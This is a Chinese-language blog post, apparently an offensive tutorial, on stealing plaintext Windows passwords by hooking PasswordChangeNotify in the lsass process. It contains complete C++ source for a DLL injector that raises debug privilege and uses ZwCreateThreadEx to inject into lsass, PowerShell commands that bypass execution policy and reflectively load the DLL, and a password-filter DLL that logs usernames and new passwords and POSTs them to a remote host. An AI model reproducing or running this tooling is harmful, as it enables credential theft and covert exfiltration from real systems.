前言
在win2012以前的操作系统版本下,由于WDigest将明文储存到lsass进程中,可以抓取明文密码。在win2012版本以后需要通过修改注册表才能抓取到明文密码,否则只能是hash。修改注册表意味着有很铭感的操作,那么有哪些方法可以让我们无需修改注册表抓取到win2012以上版本的明文密码呢?本文就通过HookPasswordChangeNotify无需修改注册表抓取明文密码进行浅谈。
LSA
LSA全称Local Security Authority
,是微软窗口操作系统的一个内部程序,负责运行Windows系统安全政策。它在用户登录时电脑单机或服务器时,验证用户身份,管理用户密码变更,并产生访问字符。它也会在窗口安全记录档中留下应有的记录。用于身份的验证。其中就包含有lsass.exe
进程。
PasswordChangeNotify
PasswordChangeNotify是windows提供的一个API。
在修改密码时,用户输入新密码后,LSA 会调用 PasswordFileter 来检查该密码是否符合复杂性要求,如果密码符合要求,LSA 会调用 PasswordChangeNotify,在系统中同步密码。这个过程中会有明文形式的密码经行传参,只需要改变PasswordChangeNotify的执行流,获取到传入的参数,也就能够获取到明文密码。
HOOK PasswordChangeNotify
具体实现思路如下:
- 为PasswordChangeNotify创建一个钩子,将函数执行流重定向到我们自己的PasswordChangeNotifyHook函数中。
- 在PasswordChangeNotifyHook函数中写入获取密码的代码,然后再取消钩子,重新将执行流还给PasswordChangeNotify。
- 将生成的dll注入到lssas进程中。使用HOOK PasswordChangeNotify无需重启系统或修改注册表,更加隐蔽且贴合实际。
远线程注入(突破session0)
已有前辈写了相关的Inline hook代码。
项目地址:https://github.com/clymb3r/Misc-Windows-Hacking
打开项目后,将MFC的使用设置为在静态库中使用MFC。
F7编译即可。
dll生成后就需要注入dll,注入的方式也很多了,可以起一个线程去远线程注入。由于是注入lsass进程,一般的远线程注入是无法注入成功的,需要突破session 0,使用更为底层的ZwCreateThreadEx
。正好之前有写过一个注入的代码,这里直接贴上来。
#include <iostream>
#include <windows.h>
#include "tchar.h"
#include <TlHelp32.h>
using namespace std;
BOOL EnbalePrivileges(HANDLE hProcess, LPCWSTR pszPrivilegesName)
{
HANDLE hToken = NULL;
LUID luidValue = { 0 };
TOKEN_PRIVILEGES tokenPrivileges = { 0 };
BOOL bRet = FALSE;
DWORD dwRet = 0;
// 打开进程令牌并获取进程令牌句柄
bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
if (FALSE == bRet)
{
printf("[!] Open CurrentProcessToken Error,Error is:%d\n",GetLastError());
return FALSE;
}
else
{
printf("[*] Open CurrentProcessToken Successfully!,TokenHandle is:%d\n", hToken);
}
// 获取本地系统的 pszPrivilegesName 特权的LUID值
bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue);
if (FALSE == bRet)
{
printf("[!] LookupPrivilegeValue Error,Error is:%d\n", GetLastError());
return FALSE;
}
else
{
printf("[*] LookupPrivilegeValue Successfully!\n");
}
// 设置提升权限信息
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Luid = luidValue;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// 提升进程令牌访问权限
bRet = ::AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL);
if (FALSE == bRet)
{
printf("[!] AdjustTokenPrivileges Error,Error is:%d\n", GetLastError());
return FALSE;
}
else
{
// 根据错误码判断是否特权都设置成功
dwRet = ::GetLastError();
if (ERROR_SUCCESS == dwRet)
{
printf("[√] ALL_ASSIGNED!\n");
return TRUE;
}
else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
{
printf("[!] ERROR:NOT_ALL_ASSIGNED,Error is %d\n", dwRet);
return FALSE;
}
}
return FALSE;
}
DWORD EnumModules(DWORD hPid, LPCSTR hMoudlePath)
{
WCHAR szBuffer[MAX_PATH] = { 0 };
mbstowcs(szBuffer, hMoudlePath, MAX_PATH);
//通过pid列出所有的Modules
HANDLE hModuleSnap = INVALID_HANDLE_VALUE;
MODULEENTRY32 me32;
//给进程所引用的模块信息设定一个快照
hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, hPid);
if (hModuleSnap == INVALID_HANDLE_VALUE)
{
printf("[!] Error:Enum modules failed to detect if there is an injected DLL module,error is %d\n" ,GetLastError());
}
me32.dwSize = sizeof(MODULEENTRY32);
if (!Module32First(hModuleSnap, &me32))
{
printf("[!] Enum Error!\n");
CloseHandle(hModuleSnap);
}
do
{
if(!memcmp(me32.szExePath, szBuffer,MAX_PATH))
return 1;
} while (Module32Next(hModuleSnap, &me32));
CloseHandle(hModuleSnap);
return 0;
}
DWORD _InjectThread(DWORD _Pid, LPCSTR psDllPath)
{
FILE* fp;
fp = fopen(psDllPath, "r");
if (!fp)
{
printf("[!] Error:DLL path not found\nPlease check that your path is correct or absolute\n");
return FALSE;
}
fclose(fp);
printf("****************************************************************************\n");
HANDLE hprocess = NULL;
HANDLE hThread = NULL;
DWORD _SIZE = 0;
LPVOID pAlloc = NULL;
FARPROC pThreadFunction = NULL;
DWORD ZwRet = 0;
hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
if (hprocess == NULL)
{
printf("[!] OpenProcess Error,Error is:%d\n", GetLastError());
return FALSE;
}
else
{
printf("[*] OpenProcess Successfully!\n");
}
_SIZE = strlen(psDllPath)+1;
pAlloc = ::VirtualAllocEx(hprocess, NULL, _SIZE, MEM_COMMIT, PAGE_READWRITE);
if (pAlloc == NULL)
{
printf("[!] VirtualAllocEx Error,Error is:%d\n", GetLastError());
return FALSE;
}
else
{
printf("[*] VirtualAllocEx Successfully!\n");
}
BOOL x = ::WriteProcessMemory(hprocess, pAlloc, psDllPath, _SIZE, NULL);
if (FALSE == x)
{
printf("[!] WriteMemory Error,Error is:%d\n", GetLastError());
return FALSE;
}
else
{
printf("[*] WriteMemory Successfully!\n");
}
HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
if (hNtdll == NULL)
{
printf("[!] LoadNTdll Error,Error is:%d\n", GetLastError());
return FALSE;
}
else
{
printf("[*] Load ntdll.dll Successfully!\n");
}
pThreadFunction = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
if (pThreadFunction == NULL)
{
printf("[!] Get LoadLibraryA Address Error,Error is:%d\n", GetLastError());
return FALSE;
}
else
{
printf("[*] Get LoadLibraryA Address Successfully! Address is %x\n", pThreadFunction);
}
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown
);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown
);
#endif
typedef_ZwCreateThreadEx ZwCreateThreadEx = NULL;
ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");
if (ZwCreateThreadEx == NULL)
{
printf("[!] Get ZwCreateThreadEx Address Error,Error is:%d\n", GetLastError());
return FALSE;
}
else
{
printf("[*] Get ZwCreateThreadEx Address Successfully! Address is %x\n", ZwCreateThreadEx);
}
HANDLE hRemoteThread;
ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hprocess,
(LPTHREAD_START_ROUTINE)pThreadFunction, pAlloc, 0, 0, 0, 0, NULL);
if (hRemoteThread == NULL)
{
printf("[!] Creat RemoteThread Error,Error is:%d\n", GetLastError());
CloseHandle(hprocess);
return FALSE;
}
printf("[*] Please wait for a moment in the process of injection:\n");
for(int m = 0;m<5;m++)
{
if (EnumModules(_Pid, psDllPath))
{
printf("[√] Creat RemoteThread Successfully! RemoteThread Id is %x\n", hRemoteThread);
VirtualFreeEx(hprocess, pAlloc, 0, MEM_RELEASE);
CloseHandle(hRemoteThread);
CloseHandle(hprocess);
FreeLibrary(hNtdll);
return TRUE;
}
Sleep(2000);
}
printf("[!] DLL injection failed!\nNotice:Please check that your path is absolute or correct\n");
VirtualFreeEx(hprocess, pAlloc, 0, MEM_RELEASE);
CloseHandle(hRemoteThread);
CloseHandle(hprocess);
FreeLibrary(hNtdll);
return FALSE;
}
int main(int argc, char* argv[])
{
if (argc == 3)
{
EnbalePrivileges(GetCurrentProcess(), SE_DEBUG_NAME);
DWORD dwPid;
sscanf(argv[1],"%d", &dwPid);
_InjectThread(dwPid, argv[2]);
return 1;
}
else
{
printf("[!] You passed in the wrong number of parameters!Please pass in two parameters.\n");
printf("[!] Notice:\n[!] The first parameter is the PID of the target process\n[!] The second parameter is the location of the injected DLL,Please enter the absolute path!");
return 0;
}
}
找到lsass进程的pid后直接开始注入。
可以通过procexp64.exe看下dll到底注入成功没有。这里要注意以管理员运行procexp64.exe,不然会无法看到lsass的组成模块,因为遍历高权限进程模块本身就需要权限。
然后就更改一下密码。
但是这里却失败了,C:\Windows\Temp路径下并没有password.txt文件,当要删除HookPasswordChange.dll文件时也无法删除,说明是真正注入进去了,有点疑惑。
后面通过反射加载的方式可以获取到明文密码,这里就有点不懂了,反射加载和直接加载就是加载方式的区别,最后dll都在进程空间里面,但是这里为何为失败确实没想明白。由于笔者学识尚浅,有懂得师傅请不吝赐教。
利用PS脚本
注意这里该脚本是使用反射dll加载。
使用该脚本HookPasswordChange.dll注入内存
Set-ExecutionPolicy bypass
Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
再次修改密码后可在C:\Windows\Temp目录下查看到passwords文件
这个文件位置是可以修改的,只需要修改HookPasswordChange.cpp文件,路径改一下就行。
由于是反射dll加载,没有通过LoadLibrary等API加载,procexp64.exe无法再找到相应的dll。并且是内存中直接展开,可以直接删除掉HookPasswordChange.dll文件。如果需要远程将密码返回到服务端,可以再写一个dll,用http协议经行传输
#include <windows.h>
#include <stdio.h>
#include <WinInet.h>
#include <ntsecapi.h>
void writeToLog(const char* szString)
{
FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
if (NULL == pFile)
{
return;
}
fprintf(pFile, "%s\r\n", szString);
fclose(pFile);
return;
}
// Default DllMain implementation
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
OutputDebugString(L"DllMain");
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
BOOLEAN __stdcall InitializeChangeNotify(void)
{
OutputDebugString(L"InitializeChangeNotify");
writeToLog("InitializeChangeNotify()");
return TRUE;
}
BOOLEAN __stdcall PasswordFilter(
PUNICODE_STRING AccountName,
PUNICODE_STRING FullName,
PUNICODE_STRING Password,
BOOLEAN SetOperation )
{
OutputDebugString(L"PasswordFilter");
return TRUE;
}
NTSTATUS __stdcall PasswordChangeNotify(
PUNICODE_STRING UserName,
ULONG RelativeId,
PUNICODE_STRING NewPassword )
{
FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
//HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
HINTERNET hSession = InternetConnect(hInternet,L"192.168.1.1",80,NULL,NULL,INTERNET_SERVICE_HTTP ,0,0);
HINTERNET hReq = HttpOpenRequest(hSession,L"POST",L"/",NULL,NULL,NULL,0,0);
char* pBuf="SomeData";
OutputDebugString(L"PasswordChangeNotify");
if (NULL == pFile)
{
return;
}
fprintf(pFile, "%ws:%ws\r\n", UserName->Buffer,NewPassword->Buffer);
fclose(pFile);
InternetSetOption(hSession,INTERNET_OPTION_USERNAME,UserName->Buffer,UserName->Length/2);
InternetSetOption(hSession,INTERNET_OPTION_PASSWORD,NewPassword->Buffer,NewPassword->Length/2);
HttpSendRequest(hReq,NULL,0,pBuf,strlen(pBuf));
return 0;
}
发表评论
您还未登录,请先登录。
登录